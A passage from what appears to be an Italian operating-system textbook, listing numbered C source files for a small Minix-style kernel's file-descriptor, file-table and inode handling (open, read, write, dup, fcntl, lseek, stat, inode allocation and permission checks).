460027      // Get inode.
460028      //
460029      inode = file->inode;
460030      //
460031      // Reduce references inside the file table item
460032      // and remove item if it reaches zero.
460033      //
460034      file->references--;
460035      if (file->references == 0)
460036        {
460037          file->oflags = 0;
460038          file->inode  = NULL;
460039          //
460040          // Put inode, because there are no more file references.
460041          //
460042          inode_put (inode);
460043        }
460044      //
460045      // Remove file descriptor.
460046      //
460047      fd->fl_flags = 0;
460048      fd->fd_flags = 0;
460049      fd->file  = NULL;
460050      //
460051      //
460052      //
460053      return (0);
460054  }
```

105.4.4 kernel/fs/fd_dup.c

Si veda la sezione 104.3.4.

```
470001 #include <kernel/proc.h>
470002 #include <kernel/k_libc.h>
470003 #include <errno.h>
470004 #include <fcntl.h>
470005 //----------------------------------------------------------------------
470006 int
470007 fd_dup (pid_t pid, int fdn_old, int fdn_min)
470008 {
470009     proc_t *ps;
470010     int     fdn_new;
470011     //
470012     // Verify argument.
470013     //
470014     if (fdn_min < 0 || fdn_min >= OPEN_MAX)
470015       {
470016         errset (EINVAL);                  // Invalid argument.
470017         return (-1);
470018       }
470019     //
470020     // Get process.
470021     //
470022     ps = proc_reference (pid);
470023     //
470024     // Verify if 'fdn_old' is a valid value.
470025     //
470026     if (fdn_old < 0                      ||
470027         fdn_old >= OPEN_MAX              ||
470028         ps->fd[fdn_old].file == NULL)
470029       {
470030         errset (EBADF);                  // Bad file descriptor.
470031         return (-1);
470032       }
470033     //
470034     // Find the first free slot and duplicate the file descriptor.
470035     //
470036     for (fdn_new = fdn_min; fdn_new < OPEN_MAX; fdn_new++)
470037       {
470038         if (ps->fd[fdn_new].file == NULL)
470039           {
470040             ps->fd[fdn_new].fl_flags = ps->fd[fdn_old].fl_flags;
470041             ps->fd[fdn_new].fd_flags
470042                 = ps->fd[fdn_old].fd_flags & ~FD_CLOEXEC;
470043             ps->fd[fdn_new].file = ps->fd[fdn_old].file;
470044             ps->fd[fdn_new].file->references++;
470045             return (fdn_new);
470046           }
470047       }
470048     //
470049     // No fd slot available.
```

```
470050      //
470051      errset (EMFILE);             // Too many open files.
470052      return (-1);
470053  }
```

105.4.5 kernel/fs/fd_dup2.c

Si veda la sezione 104.3.4.

```
480001  #include <kernel/proc.h>
480002  #include <kernel/k_libc.h>
480003  #include <errno.h>
480004  #include <fcntl.h>
480005  //----------------------------------------------------------------------
480006  int
480007  fd_dup2 (pid_t pid, int fdn_old, int fdn_new)
480008  {
480009      proc_t *ps;
480010      int     status;
480011      //
480012      // Get process.
480013      //
480014      ps = proc_reference (pid);
480015      //
480016      // Verify if 'fdn_old' is a valid value.
480017      //
480018      if (fdn_old < 0                      ||
480019          fdn_old >= OPEN_MAX              ||
480020          ps->fd[fdn_old].file == NULL)
480021        {
480022          errset (EBADF);                  // Bad file descriptor.
480023          return (-1);
480024        }
480025      //
480026      // Check if 'fd_old' and 'fd_new' are the same.
480027      //
480028      if (fdn_old == fdn_new)
480029        {
480030          return (fdn_new);
480031        }
480032      //
480033      // Close 'fdn_new' if it is open and copy 'fdn_old' into it.
480034      //
480035      if (ps->fd[fdn_new].file != NULL)
480036        {
480037          status = fd_close (pid, fdn_new);
480038          if (status != 0)
480039            {
480040              return (-1);
480041            }
480042        }
```

```
480043      ps->fd[fdn_new].fl_flags = ps->fd[fdn_old].fl_flags;
480044      ps->fd[fdn_new].fd_flags = ps->fd[fdn_old].fd_flags & ~FD_CLOEXEC;
480045      ps->fd[fdn_new].file = ps->fd[fdn_old].file;
480046      ps->fd[fdn_new].file->references++;
480047      return (fdn_new);
480048  }
```

105.4.6 kernel/fs/fd_fcntl.c

Si veda la sezione 104.3.6.

```
490001  #include <kernel/proc.h>
490002  #include <kernel/k_libc.h>
490003  #include <errno.h>
490004  #include <fcntl.h>
490005  //----------------------------------------------------------------------
490006  int
490007  fd_fcntl (pid_t pid, int fdn, int cmd, int arg)
490008  {
490009      proc_t   *ps;
490010      inode_t  *inode;
490011      int       mask;
490012      //
490013      // Get process.
490014      //
490015      ps = proc_reference (pid);
490016      //
490017      // Verify if the file descriptor is valid.
490018      //
490019      if (ps->fd[fdn].file == NULL)
490020        {
490021          errset (EBADF);                 // Bad file descriptor.
490022          return (-1);
490023        }
490024      //
490025      // Reach the inode.
490026      //
490027      inode = ps->fd[fdn].file->inode;
490028      //
490029      //
490030      //
490031      switch (cmd)
490032        {
490033          case F_DUPFD:
490034              return (fd_dup (pid, fdn, arg));
490035              break;
490036          case F_GETFD:
490037              return (ps->fd[fdn].fd_flags);
490038              break;
490039          case F_SETFD:
490040              ps->fd[fdn].fd_flags = arg;
```

```
490041              return (0);
490042          case F_GETFL:
490043              return (ps->fd[fdn].fl_flags);
490044          case F_SETFL:
490045              //
490046              // Calculate a mask with bits that are not to be set.
490047              //
490048              mask = (O_ACCMODE
490049                     | O_CREAT
490050                     | O_EXCL
490051                     | O_NOCTTY
490052                     | O_TRUNC);
490053              //
490054              // Set to zero the bits that are not to be set from
490055              // the argument.
490056              //
490057              arg = (arg & ~mask);
490058              //
490059              // Set to zero the bit that *are* to be set.
490060              //
490061              ps->fd[fdn].fl_flags &= mask;
490062              //
490063              // Set the bits, already filtered inside the argument.
490064              //
490065              ps->fd[fdn].fl_flags |= arg;
490066              //
490067              return (0);
490068          default:
490069              errset (EINVAL);                    // Not implemented.
490070              return (-1);
490071        }
490072  }
```

105.4.7 kernel/fs/fd_lseek.c

Si veda la sezione 104.3.7.

```
500001  #include <kernel/proc.h>
500002  #include <kernel/k_libc.h>
500003  #include <errno.h>
500004  //----------------------------------------------------------------------
500005  off_t
500006  fd_lseek (pid_t pid, int fdn, off_t offset, int whence)
500007  {
500008      inode_t           *inode;
500009      file_t            *file;
500010      fd_t *fd;
500011      off_t              test_offset;
500012      //
500013      // Get file descriptor.
500014      //
```

```
500015      fd = fd_reference (pid, &fdn);
500016      if (fd == NULL                ||
500017          fd->file == NULL          ||
500018          fd->file->inode == NULL )
500019        {
500020          errset (EBADF);                 // Bad file descriptor.
500021          return (-1);
500022        }
500023      //
500024      // Get file table item.
500025      //
500026      file = fd->file;
500027      //
500028      // Get inode.
500029      //
500030      inode = file->inode;
500031      //
500032      // Change position depending on the 'whence' parameter.
500033      //
500034      if (whence == SEEK_SET)
500035        {
500036          if (offset < 0)
500037            {
500038              errset (EINVAL);                    // Invalid argument.
500039              return ((off_t) -1);
500040            }
500041          else
500042            {
500043              fd->file->offset = offset;
500044            }
500045        }
500046      else if (whence == SEEK_CUR)
500047        {
500048          test_offset  = fd->file->offset;
500049          test_offset += offset;
500050          if (test_offset < 0)
500051            {
500052              errset (EINVAL);                    // Invalid argument.
500053              return ((off_t) -1);
500054            }
500055          else
500056            {
500057              fd->file->offset = test_offset;
500058            }
500059        }
500060      else if (whence == SEEK_END)
500061        {
500062          test_offset  = inode->size;
500063          test_offset += offset;
500064          if (test_offset < 0)
500065            {
500066              errset (EINVAL);                    // Invalid argument.
```

```
500067                 return ((off_t) -1);
500068               }
500069             else
500070               {
500071                 fd->file->offset = test_offset;
500072               }
500073           }
500074         else
500075           {
500076             errset (EINVAL);                    // Invalid argument.
500077             return ((off_t) -1);
500078           }
500079         //
500080         // Return the new file position.
500081         //
500082         return (fd->file->offset);
500083     }
```

105.4.8 kernel/fs/fd_open.c

Si veda la sezione 104.3.8.

```
510001     #include <kernel/proc.h>
510002     #include <kernel/k_libc.h>
510003     #include <errno.h>
510004     #include <fcntl.h>
510005     //----------------------------------------------------------------------
510006     int
510007     fd_open (pid_t pid, const char *path, int oflags, mode_t mode)
510008     {
510009         proc_t   *ps;
510010         inode_t  *inode;
510011         int       status;
510012         file_t   *file;
510013         fd_t     *fd;
510014         int       fdn;
510015         char      full_path[PATH_MAX];
510016         int       perm;
510017         tty_t    *tty;
510018         mode_t    umask;
510019         int       errno_save;
510020         //
510021         // Get process.
510022         //
510023         ps = proc_reference (pid);
510024         //
510025         // Correct the mode with the umask. As it is not a directory, to the
510026         // mode are removed execution and sticky permissions.
510027         //
510028         umask = ps->umask | 01111;
510029         mode &= ~umask;
```

```
510030      //
510031      // Check open options.
510032      //
510033      if (oflags & O_WRONLY)
510034        {
510035          //
510036          // The file is to be opened for write, or for read/write.
510037          // Try to get inode.
510038          //
510039          inode = path_inode (pid, path);
510040          if (inode == NULL)
510041            {
510042              //
510043              // Cannot get the inode. See if there is the creation
510044              // option.
510045              //
510046              if (oflags & O_CREAT)
510047                {
510048                  //
510049                  // Try to create the missing inode: the file must be a
510050                  // regular one, so add the mode.
510051                  //
510052                  path_full (path, ps->path_cwd, full_path);
510053                  inode = path_inode_link (pid, full_path, NULL,
510054                                           (mode | S_IFREG));
510055                  if (inode == NULL)
510056                    {
510057                      //
510058                      // Sorry: cannot create the inode! Variable 'errno'
510059                      // is already set by 'path_inode_link()'.
510060                      //
510061                      errset (errno);
510062                      return (-1);
510063                    }
510064                }
510065              else
510066                {
510067                  //
510068                  // Cannot open the inode. Variable 'errno'
510069                  // should be already set by 'path_inode()'.
510070                  //
510071                  errset (errno);
510072                  return (-1);
510073                }
510074            }
510075          //
510076          // The inode was read or created: check if it must be
510077          // truncated. It can be truncated only if it is a regular
510078          // file.
510079          //
510080          if (oflags & O_TRUNC && inode->mode & S_IFREG)
510081            {
```

```
510082               //
510083               // Truncate inode.
510084               //
510085               status = inode_truncate (inode);
510086               if (status != 0)
510087                 {
510088                   //
510089                   // Cannot truncate the inode: release it and return.
510090                   // But this error should never happen, because the
510091                   // function 'inode_truncate()' will not return any
510092                   // other value than zero.
510093                   //
510094                   errno_save = errno;
510095                   inode_put (inode);
510096                   errset (errno_save);
510097                   return (-1);
510098                 }
510099           }
510100       }
510101     else
510102       {
510103         //
510104         // The file is to be opened for read, but not for write.
510105         // Try to get inode.
510106         //
510107         inode = path_inode (pid, path);
510108         if (inode == NULL)
510109           {
510110             //
510111             // Cannot open the file.
510112             //
510113             errset (errno);
510114             return (-1);
510115           }
510116       }
510117     //
510118     // An inode was opened: check type and access permissions.
510119     // All file types are good, even directories, as the type
510120     // DIR is implemented through file descriptors.
510121     //
510122     perm = 0;
510123     if (oflags & O_RDONLY) perm |= 4;
510124     if (oflags & O_WRONLY) perm |= 2;
510125     status = inode_check (inode, S_IFMT, perm, ps->uid);
510126     if (status != 0)
510127       {
510128         //
510129         // The file type is not correct or the user does not have
510130         // permissions.
510131         //
510132         return (-1);
510133       }
```

```
510134      //
510135      // Allocate the file, inside the file table.
510136      //
510137      file = file_reference (-1);
510138      if (file == NULL)
510139        {
510140          //
510141          // Cannot allocate the file inside the file table: release the
510142          // inode, update 'errno' and return.
510143          //
510144          inode_put (inode);
510145          errset (ENFILE);        // Too many files open in system.
510146          return (-1);
510147        }
510148      //
510149      // Put some data inside the file item. Only options
510150      // O_RDONLY and O_WRONLY are kept here, because the O_APPEND
510151      // is saved inside the file descriptor table.
510152      //
510153      file->references = 1;
510154      file->oflags     = (oflags & (O_RDONLY | O_WRONLY));
510155      file->inode      = inode;
510156      //
510157      // Allocate the file descriptor: variable 'fdn' will be modified
510158      // by the call to 'fd_reference()'.
510159      //
510160      fdn = -1;
510161      fd = fd_reference (pid, &fdn);
510162      if (fd == NULL)
510163        {
510164          //
510165          // Cannot allocate the file descriptor: remove the item from
510166          // file table.
510167          //
510168          file->references = 0;
510169          file->oflags     = 0;
510170          file->inode      = NULL;
510171          //
510172          // Release the inode.
510173          //
510174          inode_put (inode);
510175          //
510176          // Return an error.
510177          //
510178          errset (EMFILE);        // Too many open files.
510179          return (-1);
510180        }
510181      //
510182      // File descriptor allocated: put some data inside the
510183      // file descriptor item.
510184      //
510185      fd->fl_flags = (oflags & (O_RDONLY | O_WRONLY | O_APPEND));
```

```
510186      fd->fd_flags = 0;
510187      fd->file = file;
510188      fd->file->offset = 0;
510189      //
510190      // Check if it is a terminal (currently only consoles), if it is
510191      // opened for read and write, and if it have to be set as the
510192      // controlling terminal. This thing is done here because there is
510193      // not a real device driver.
510194      //
510195      if ((S_ISCHR (inode->mode)) &&
510196          (oflags & O_RDONLY)     &&
510197          (oflags & O_WRONLY))
510198        {
510199          //
510200          // The inode is a character special file (related to a character
510201          // device), opened for read and write!
510202          //
510203          if ((inode->direct[0] & 0xFF00) == (DEV_CONSOLE_MAJOR << 8))
510204            {
510205              //
510206              // It is a terminal (currently only consoles are possible).
510207              // Get the tty reference.
510208              //
510209              tty = tty_reference ((dev_t) inode->direct[0]);
510210              //
510211              // Verify that the terminal is not already the controlling
510212              // terminal of some process group.
510213              //
510214              if (tty->pgrp == 0)
510215                {
510216                  //
510217                  // The terminal is free: verify if the current process
510218                  // needs a controlling terminal.
510219                  //
510220                  if (ps->device_tty == 0 && ps->pgrp == pid)
510221                    {
510222                      //
510223                      // It is a group leader with no controlling
510224                      // terminal: set the controlling terminal.
510225                      //
510226                      ps->device_tty = inode->direct[0];
510227                      tty->pgrp      = ps->pgrp;
510228                    }
510229                }
510230            }
510231        }
510232      //
510233      // Return the file descriptor.
510234      //
510235      return (fdn);
510236  }
```

105.4.9 kernel/fs/fd_read.c

Si veda la sezione 104.3.9.

```
520001 #include <kernel/proc.h>
520002 #include <kernel/k_libc.h>
520003 #include <errno.h>
520004 #include <fcntl.h>
520005 //----------------------------------------------------------------------
520006 ssize_t
520007 fd_read (pid_t pid, int fdn, void *buffer, size_t count, int *eof)
520008 {
520009     fd_t  *fd;
520010     ssize_t  size_read;
520011     //
520012     // Get file descriptor.
520013     //
520014     fd = fd_reference (pid, &fdn);
520015     if (fd              == NULL   ||
520016         fd->file        == NULL   ||
520017         fd->file->inode == NULL )
520018       {
520019         errset (EBADF);                 // Bad file descriptor.
520020         return ((ssize_t) -1);
520021       }
520022     //
520023     // Check if it is opened for read.
520024     //
520025     if (!(fd->file->oflags & O_RDONLY))
520026       {
520027         //
520028         // The file is not opened for read.
520029         //
520030         errset (EINVAL);                // Invalid argument.
520031         return ((ssize_t) -1);
520032       }
520033     //
520034     // It is not a mistake to read a directory, as 'dirent.h' is
520035     // implemented through file descriptors.
520036     //
520037     //  //
520038     //  // Check if it is a directory.
520039     //  //
520040     //  if (fd->file->inode->mode & S_IFDIR)
520041     //    {
520042     //      errset (EISDIR);                // Is a directory.
520043     //      return ((ssize_t) -1);
520044     //    }
520045     //
520046     // Check the kind of file to be read and read it.
520047     //
520048     if  (S_ISBLK (fd->file->inode->mode)
520049       || S_ISCHR (fd->file->inode->mode))
```

```
520050          {
520051            //
520052            // A device is to be read.
520053            //
520054            size_read = dev_io (pid, (dev_t) fd->file->inode->direct[0],
520055                                DEV_READ, fd->file->offset, buffer, count,
520056                                eof);
520057          }
520058        else if (S_ISREG (fd->file->inode->mode))
520059          {
520060            //
520061            // A regular file is to be read.
520062            //
520063            size_read = inode_file_read (fd->file->inode, fd->file->offset,
520064                                         buffer, count, eof);
520065          }
520066        else if (S_ISDIR (fd->file->inode->mode))
520067          {
520068            //
520069            // A directory, is to be read.
520070            //
520071            size_read = inode_file_read (fd->file->inode, fd->file->offset,
520072                                         buffer, count, eof);
520073          }
520074        else
520075          {
520076            //
520077            // Unsupported file type.
520078            //
520079            errset (E_FILE_TYPE_UNSUPPORTED);       //File type unsupported.
520080            return ((ssize_t) -1);
520081          }
520082        //
520083        // Update the file descriptor internal offset.
520084        //
520085        if (size_read > 0)
520086          {
520087            fd->file->offset += size_read;
520088          }
520089        //
520090        // Just return the size read, even if it is an error. Please note
520091        // that a size of zero might tell that it is the end of file, or
520092        // just that the read should be retried.
520093        //
520094        return (size_read);
520095  }
```

105.4.10 kernel/fs/fd_reference.c

Si veda la sezione 104.3.10.

```
530001 #include <kernel/proc.h>
530002 #include <kernel/k_libc.h>
530003 #include <errno.h>
530004 //----------------------------------------------------------------------
530005 fd_t *
530006 fd_reference (pid_t pid, int *fdn)
530007 {
530008     proc_t *ps;
530009     //
530010     // Get process.
530011     //
530012     ps = proc_reference (pid);
530013     //
530014     // See what to do.
530015     //
530016     if (*fdn < 0)
530017       {
530018         //
530019         // Find the first free slot.
530020         //
530021         for (*fdn = 0; *fdn < OPEN_MAX; (*fdn)++)
530022           {
530023             if (ps->fd[*fdn].file == NULL)
530024               {
530025                 return (&(ps->fd[*fdn]));
530026               }
530027           }
530028         *fdn = -1;
530029         return (NULL);
530030       }
530031     else
530032       {
530033         if (*fdn < OPEN_MAX)
530034           {
530035             //
530036             // Might return even a free file descriptor.
530037             //
530038             return (&(ps->fd[*fdn]));
530039           }
530040         else
530041           {
530042             return (NULL);
530043           }
530044       }
530045 }
```

105.4.11 kernel/fs/fd_stat.c

Si veda la sezione 104.3.50.

```
540001 #include <kernel/proc.h>
540002 #include <kernel/k_libc.h>
540003 #include <errno.h>
540004 #include <fcntl.h>
540005 //----------------------------------------------------------------------
540006 int
540007 fd_stat (pid_t pid, int fdn, struct stat *buffer)
540008 {
540009     proc_t   *ps;
540010     inode_t  *inode;
540011     //
540012     // Get process.
540013     //
540014     ps = proc_reference (pid);
540015     //
540016     // Verify if the file descriptor is valid.
540017     //
540018     if (ps->fd[fdn].file == NULL)
540019       {
540020         errset (EBADF);                  // Bad file descriptor.
540021         return (-1);
540022       }
540023     //
540024     // Reach the inode.
540025     //
540026     inode = ps->fd[fdn].file->inode;
540027     //
540028     // Inode loaded: update the buffer.
540029     //
540030     buffer->st_dev      = inode->sb->device;
540031     buffer->st_ino      = inode->ino;
540032     buffer->st_mode     = inode->mode;
540033     buffer->st_nlink    = inode->links;
540034     buffer->st_uid      = inode->uid;
540035     buffer->st_gid      = inode->gid;
540036     if (S_ISBLK (buffer->st_mode) || S_ISCHR (buffer->st_mode))
540037       {
540038         buffer->st_rdev = inode->direct[0];
540039       }
540040     else
540041       {
540042         buffer->st_rdev = 0;
540043       }
540044     buffer->st_size     = inode->size;
540045     buffer->st_atime    = inode->time;  // All times are the same for
540046     buffer->st_mtime    = inode->time;  // Minix 1 file system.
540047     buffer->st_ctime    = inode->time;  //
540048     buffer->st_blksize  = inode->sb->blksize;
540049     buffer->st_blocks   = inode->blkcnt;
```

```
540050     //
540051     // If the inode is a device special file, the 'st_rdev' value is
540052     // taken from the first direct zone (as of Minix 1 organization).
540053     //
540054     if (S_ISBLK(inode->mode) || S_ISCHR(inode->mode))
540055       {
540056         buffer->st_rdev = inode->direct[0];
540057       }
540058     else
540059       {
540060         buffer->st_rdev = 0;
540061       }
540062     //
540063     // Return.
540064     //
540065     return (0);
540066 }
```

105.4.12 kernel/fs/fd_write.c

Si veda la sezione 104.3.12.

```
550001 #include <kernel/proc.h>
550002 #include <kernel/k_libc.h>
550003 #include <errno.h>
550004 #include <fcntl.h>
550005 //----------------------------------------------------------------------
550006 ssize_t
550007 fd_write (pid_t pid, int fdn, const void *buffer, size_t count)
550008 {
550009     proc_t  *ps;
550010     fd_t    *fd;
550011     ssize_t  size_written;
550012     //
550013     // Get process.
550014     //
550015     ps = proc_reference (pid);
550016     //
550017     // Get file descriptor.
550018     //
550019     fd = fd_reference (pid, &fdn);
550020     if (fd              == NULL   ||
550021         fd->file        == NULL   ||
550022         fd->file->inode == NULL )
550023       {
550024         //
550025         // The file descriptor pointer is not valid.
550026         //
550027         errset (EBADF);                 // Bad file descriptor.
550028         return ((ssize_t) -1);
550029       }
```

```
550030      //
550031      // Check if it is opened for write.
550032      //
550033      if (!(fd->file->oflags & O_WRONLY))
550034        {
550035          //
550036          // The file is not opened for write.
550037          //
550038          errset (EINVAL);                // Invalid argument.
550039          return ((ssize_t) -1);
550040        }
550041      //
550042      // Check if it is a directory.
550043      //
550044      if (fd->file->inode->mode & S_IFDIR)
550045        {
550046          errset (EISDIR);                // Is a directory.
550047          return ((ssize_t) -1);
550048        }
550049      //
550050      // It should be a valid type of file to be written. Check if it is
550051      // opened in append mode: if so, must move the write offset to the
550052      // end.
550053      //
550054      if (fd->fl_flags & O_APPEND)
550055        {
550056          fd->file->offset = fd->file->inode->size;
550057        }
550058      //
550059      // Check the kind of file to be written and write it.
550060      //
550061      if (fd->file->inode->mode & S_IFBLK ||
550062          fd->file->inode->mode & S_IFCHR)
550063        {
550064          //
550065          // A device is to be written.
550066          //
550067          size_written = dev_io (pid, (dev_t) fd->file->inode->direct[0],
550068                                 DEV_WRITE, fd->file->offset, buffer,
550069                                 count, NULL);
550070        }
550071      else if (fd->file->inode->mode & S_IFREG)
550072        {
550073          //
550074          // A regular file is to be written.
550075          //
550076          size_written = inode_file_write (fd->file->inode,
550077                                           fd->file->offset,
550078                                           buffer, count);
550079        }
550080      else
550081        {
```

```
550082           //
550083           // Unsupported file type.
550084           //
550085           errset (E_FILE_TYPE_UNSUPPORTED);       //File type unsupported.
550086           return ((ssize_t) -1);
550087         }
550088       //
550089       // Update the file descriptor internal offset.
550090       //
550091       if (size_written > 0)
550092         {
550093           fd->file->offset += size_written;
550094         }
550095       //
550096       // Just return the size written, even if it is an error.
550097       //
550098       return (size_written);
550099   }
```

105.4.13 kernel/fs/file_reference.c

Si veda la sezione 104.3.13.

```
560001   #include <kernel/proc.h>
560002   #include <errno.h>
560003   #include <fcntl.h>
560004   //----------------------------------------------------------------------
560005   file_t *
560006   file_reference (int fno)
560007   {
560008       //
560009       // Check type of request.
560010       //
560011       if (fno < 0)
560012         {
560013           //
560014           // Find a free slot.
560015           //
560016           for (fno = 0; fno < FILE_MAX_SLOTS; fno++)
560017             {
560018               if (file_table[fno].references <= 0)
560019                 {
560020                   return (&file_table[fno]);
560021                 }
560022             }
560023           return (NULL);
560024         }
560025       else if (fno > FILE_MAX_SLOTS)
560026         {
560027           return (NULL);
560028         }
```

```
560029      else
560030        {
560031          return (&file_table[fno]);
560032        }
560033  }
```

105.4.14 kernel/fs/file_stdio_dev_make.c

Si veda la sezione 104.3.14.

```
570001  #include <kernel/proc.h>
570002  #include <errno.h>
570003  #include <fcntl.h>
570004  //----------------------------------------------------------------------
570005  file_t *
570006  file_stdio_dev_make (dev_t device, mode_t mode, int oflags)
570007  {
570008      inode_t *inode;
570009      file_t  *file;
570010      //
570011      // Try to allocate a device inode.
570012      //
570013      inode = inode_stdio_dev_make (device, mode);
570014      if (inode == NULL)
570015        {
570016          //
570017          // Variable `errno' is already set by `inode_stdio_dev_make()'.
570018          //
570019          errset (errno);
570020          return (NULL);
570021        }
570022      //
570023      // Inode allocated: need to allocate the system file item.
570024      //
570025      file = file_reference (-1);
570026      if (file == NULL)
570027        {
570028          //
570029          // Remove the inode and return an error.
570030          //
570031          inode_put (inode);
570032          errset (ENFILE);        // Too many files open in system.
570033          return (NULL);
570034        }
570035      //
570036      // Fill with data the system file item.
570037      //
570038      file->references = 1;
570039      file->oflags     = (oflags & (O_RDONLY | O_WRONLY));
570040      file->inode      = inode;
570041      //
```

```
570042     // Return system file pointer.
570043     //
570044     return (file);
570045 }
```

105.4.15 kernel/fs/file_table.c

Si veda la sezione 104.3.13.

```
580001 #include <kernel/fs.h>
580002 //----------------------------------------------------------------------
580003 file_t file_table[FILE_MAX_SLOTS];
580004 //----------------------------------------------------------------------
```

105.4.16 kernel/fs/inode_alloc.c

Si veda la sezione 104.3.15.

```
590001 #include <kernel/fs.h>
590002 #include <errno.h>
590003 #include <kernel/k_libc.h>
590004 //----------------------------------------------------------------------
590005 inode_t *
590006 inode_alloc (dev_t device, mode_t mode, uid_t uid)
590007 {
590008     sb_t        *sb;
590009     inode_t     *inode;
590010     int          m;                      // Index inside the inode map.
590011     int          map_element;
590012     int          map_bit;
590013     int          map_mask;
590014     ino_t        ino;
590015     //
590016     // Check for arguments.
590017     //
590018     if (mode == 0)
590019       {
590020         errset (EINVAL);        // Invalid argument.
590021         return (NULL);
590022       }
590023     //
590024     // Get the super block from the known device.
590025     //
590026     sb = sb_reference (device);
590027     if (sb == NULL)
590028       {
590029         errset (ENODEV);        // No such device.
590030         return (NULL);
590031       }
```

```
590032      //
590033      // Find a free inode.
590034      //
590035      while (1)
590036        {
590037          //
590038          // Scan the inode bit map, to find a free inode
590039          // for new allocation.
590040          //
590041          for (m = 0; m < (SB_MAP_INODE_SIZE * 16); m++)
590042            {
590043              map_element = m / 16;
590044              map_bit     = m % 16;
590045              map_mask    = 1 << map_bit;
590046              if (!(sb->map_inode[map_element] & map_mask))
590047                {
590048                  //
590049                  // Found a free element: change the map to
590050                  // allocate the inode.
590051                  //
590052                  sb->map_inode[map_element] |= map_mask;
590053                  sb->changed = 1;
590054                  ino = m;  // Found a free inode:
590055                  break;          // exit the scan loop.
590056                }
590057            }
590058          //
590059          // Check if the scan was successful.
590060          //
590061          if (ino == 0)
590062            {
590063              errset (ENOSPC);    // No space left on device.
590064              return (NULL);
590065            }
590066          //
590067          // The inode was allocated inside the map in memory.
590068          //
590069          inode = inode_get (device, ino);
590070          if (inode == NULL)
590071            {
590072              errset (ENFILE);    // Too many files open in system.
590073              return (NULL);
590074            }
590075          //
590076          // Verify if the inode is really free: if it isn't, must save
590077          // it to disk.
590078          //
590079          if (inode->size > 0 || inode->links > 0)
590080            {
590081              //
590082              // Strange: should not have a size! Check if there are even
590083              // links. Please note that 255 links (that is -1) is to be
```

```
590084                  // considered a free inode, marked in a special way for some
590085                  // unknown reason. Currently, 'LINK_MAX' is equal to 254,
590086                  // for that reason.
590087                  //
590088                  if (inode->links > 0 && inode->links < LINK_MAX)
590089                    {
590090                      //
590091                      // Tell something.
590092                      //
590093                      k_printf ("kernel alert: device %04x: "
590094                                "found \"free\" inode %i "
590095                                "that still has size %i "
590096                                "and %i links!\n",
590097                                device, ino, inode->size, inode->links);
590098                      //
590099                      // The inode must be set again to free, inside
590100                      // the bit map.
590101                      //
590102                      map_element = ino / 16;
590103                      map_bit     = ino % 16;
590104                      map_mask    = 1 << map_bit;
590105                      sb->map_inode[map_element] &= ~map_mask;
590106                      sb->changed = 1;
590107                      //
590108                      // Try to fix: reset all to zero.
590109                      //
590110                      inode->mode      = 0;
590111                      inode->uid       = 0;
590112                      inode->gid       = 0;
590113                      inode->time      = 0;
590114                      inode->links     = 0;
590115                      inode->size      = 0;
590116                      inode->direct[0] = 0;
590117                      inode->direct[1] = 0;
590118                      inode->direct[2] = 0;
590119                      inode->direct[3] = 0;
590120                      inode->direct[4] = 0;
590121                      inode->direct[5] = 0;
590122                      inode->direct[6] = 0;
590123                      inode->indirect1 = 0;
590124                      inode->indirect2 = 0;
590125                      inode->changed   = 1;
590126                      //
590127                      // Save fixed inode to disk.
590128                      //
590129                      inode_put (inode);
590130                      continue;
590131                    }
590132                  else
590133                    {
590134                      //
590135                      // Truncate the inode, save and break.
```

```
590136                //
590137                inode_truncate (inode);
590138                inode_save (inode);
590139                break;
590140              }
590141          }
590142        else
590143          {
590144            //
590145            // Considering free the inode found.
590146            //
590147            break;
590148          }
590149      }
590150    //
590151    // Put data inside the inode.
590152    //
590153    inode->mode    = mode;
590154    inode->uid     = uid;
590155    inode->gid     = 0;
590156    inode->size    = 0;
590157    inode->time    = k_time (NULL);
590158    inode->links   = 0;
590159    inode->changed = 1;
590160    //
590161    // Save the inode.
590162    //
590163    inode_save (inode);
590164    //
590165    // Return the inode pointer.
590166    //
590167    return (inode);
590168 }
```

105.4.17 kernel/fs/inode_check.c

Si veda la sezione 104.3.16.

```
600001 #include <kernel/fs.h>
600002 #include <errno.h>
600003 #include <kernel/k_libc.h>
600004 //----------------------------------------------------------------------
600005 int
600006 inode_check (inode_t *inode, mode_t type, int perm, uid_t uid)
600007 {
600008     //
600009     // Ensure that the variable 'type' has only the requested file type.
600010     //
600011     type = (type & S_IFMT);
600012     //
600013     // Check inode argument.
```

```
600014      //
600015      if (inode == NULL)
600016        {
600017          errset (EINVAL);        // Invalid argument.
600018          return (-1);
600019        }
600020      //
600021      // The inode is not NULL: verify that the inode is of a type
600022      // allowed (the parameter 'type' can hold more than one
600023      // possibility).
600024      //
600025      if (!(inode->mode & type))
600026        {
600027          errset (E_FILE_TYPE);   // The file type is not
600028          return (-1);            // the expected one.
600029        }
600030      //
600031      // The file type is correct.
600032      //
600033      if (inode->uid != 0 && uid == 0)
600034        {
600035          return (0);             // The root user has all permissions.
600036        }
600037      //
600038      // The user is not root or the inode is owned by root.
600039      //
600040      if (inode->uid == uid)
600041        {
600042          //
600043          // The user own the inode and must check user permissions.
600044          //
600045          perm = (perm << 6);
600046          if ((inode->mode & perm) ^ perm)
600047            {
600048              errset (EACCES);            // Permission denied.
600049              return (-1);
600050            }
600051          else
600052            {
600053              return (0);
600054            }
600055        }
600056      //
600057      // The user does not own the inode: the other permissions are
600058      // checked.
600059      //
600060      if ((inode->mode & perm) ^ perm)
600061        {
600062          errset (EACCES);                // Permission denied.
600063          return (-1);
600064        }
600065      else
```

```
600066        {
600067          return (0);
600068        }
600069  }
```

105.4.18 kernel/fs/inode_dir_empty.c

Si veda la sezione 104.3.17.

```
610001  #include <kernel/fs.h>
610002  #include <errno.h>
610003  #include <kernel/k_libc.h>
610004  //----------------------------------------------------------------------
610005  int
610006  inode_dir_empty (inode_t *inode)
610007  {
610008      off_t         start;
610009      char          buffer[SB_MAX_ZONE_SIZE];
610010      directory_t *dir;
610011      ssize_t       size_read;
610012      int           d;                      // Directory buffer index.
610013      //
610014      // Check argument: must be a directory.
610015      //
610016      if (inode == NULL || !S_ISDIR (inode->mode))
610017        {
610018          errset (EINVAL);                  // Invalid argument.
610019          return (0);                       // false
610020        }
610021      //
610022      // Read the directory content: if an item is present (except `.' and
610023      // `..'), the directory is not empty.
610024      //
610025      for (start  = 0;
610026           start <  inode->size;
610027           start += inode->sb->blksize)
610028        {
610029          size_read = inode_file_read (inode, start, buffer,
610030                                       inode->sb->blksize,
610031                                       NULL);
610032          if (size_read < sizeof (directory_t))
610033            {
610034              break;
610035            }
610036          //
610037          // Scan the directory portion just read.
610038          //
610039          dir = (directory_t *) buffer;
610040          //
